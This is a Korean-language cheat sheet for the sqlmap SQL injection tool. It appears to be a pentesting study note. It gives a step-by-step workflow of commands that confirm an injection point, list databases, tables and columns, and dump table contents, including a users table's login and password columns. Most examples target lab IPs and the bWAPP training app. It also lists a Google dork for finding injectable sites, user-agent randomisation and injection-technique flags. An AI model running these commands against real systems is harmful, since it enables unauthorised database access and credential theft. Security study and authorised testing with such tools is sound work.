일반적 sqlmap 분석순서
1. SQL Injection 판별
2. 데이터베이스 목록 조회
3. 테이블 목록 조회
4. 테이블 스키마 조회
5. 테이블 내용 덤프(조회)
6. 기타 등등…
1. SQL Injection 판별 http://192.168.23.131/cat.php?id=1 취약 인지
2-1. 데이터베이스 목록 조회(DBMS 정보를 알고있는 경우 다음과 같이 명령어를 입력) GET sqlmap -u "http://192.168.23.131/cat.php?id=1" --dbms=mysql POST
[특정 파라미터 검색] sqlmap -u "http://192.168.206.131/admin/index.php" --data "id=1&password=aaaa" -p id
[파라미터 검색] sqlmap -u "http://192.168.206.131/admin/index.php" --data "id=1&password=aaaa"
[ex.] sqlmap -u "http://192.168.140.129/bWAPP/sqli_13.php" -data "movie=1&action=go" -p "movie" --tables * -p "movie" : SQL injection의 취약한 파라미터인 movie 변수를 지정
2-2. 데이터베이스 목록 조회
sqlmap -u "http://192.168.23.131/cat.php?id=1" --dbs
2-3. 데이터베이스 목록 조회(쿠키값 필요) sqlmap -u "http://192.168.23.131/cat.php?id=1" --cookie="security=low; PHPSESSID=letmado2cqoj2vd2i0873168h5; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs
output : [DB_NAME]
3. 테이블 목록 조회 sqlmap -u "http://192.168.23.131/cat.php?id=1" -D [DB_NAME] --tables
output : [TABLE_NAME]
4. 테이블 스키마 조회 sqlmap -u "http://192.168.23.131/cat.php?id=1" -D [DB_NAME] -T {TABLE_NAME] --columns
output : [COLUMN]
5-1. 테이블 내용 덤프(조회)
sqlmap -u "http://192.168.23.131/cat.php?id=1" -D [DB_NAME] -T [TABLE_NAME] --dump
[ex.] sqlmap -u "http://192.168.140.129/bWAPP/sqli_13.php" --data "movie=1&action=go" -p "movie" -T users -C id,login,password --dump
* -T users -C id,login,password : users 테이블을 지정, id, login, password 컬럼을 지정
6. 기타 등등…
□ 출력변수 -v
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses' headers.
6: Show also HTTP responses' page content.
□ 데이터베이스 직접 언결
-d DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.) sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb"
□ URL 타겟 -u, --url http(s)://targeturl[:port]/[...] sqlmap.py -u "http://www.target.com/vuln.php?id=1" □ 구글검색으로 SQL Injection 시도 sqlmap.py -g "inurl:\".php?id=1\""
□ sqlmap 강제 메소드 지정 --method=PUT
□ sqlmap POST로 사용(기본 GET 방식으로 작동) sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
□ User-Agent 헤더 변경(기본 헤더 값 : sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)_ --user-agent, --random-agent □ Referer 헤더 변경 --referer
□ 랜덤 파라미터 값 설정 --randomize
□ 미성공요청으로 인하여 세션이 파괴되지않도록 다음의 옵션 사용
--safe-url: URL address to visit frequently during testing.
--safe-post: HTTP POST data to send to a given safe URL address.
--safe-req: Load and use safe HTTP request from a file.
--safe-freq: Test requests between two visits to a given safe location.
□ SQL Injection 기법 설정
--technique
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries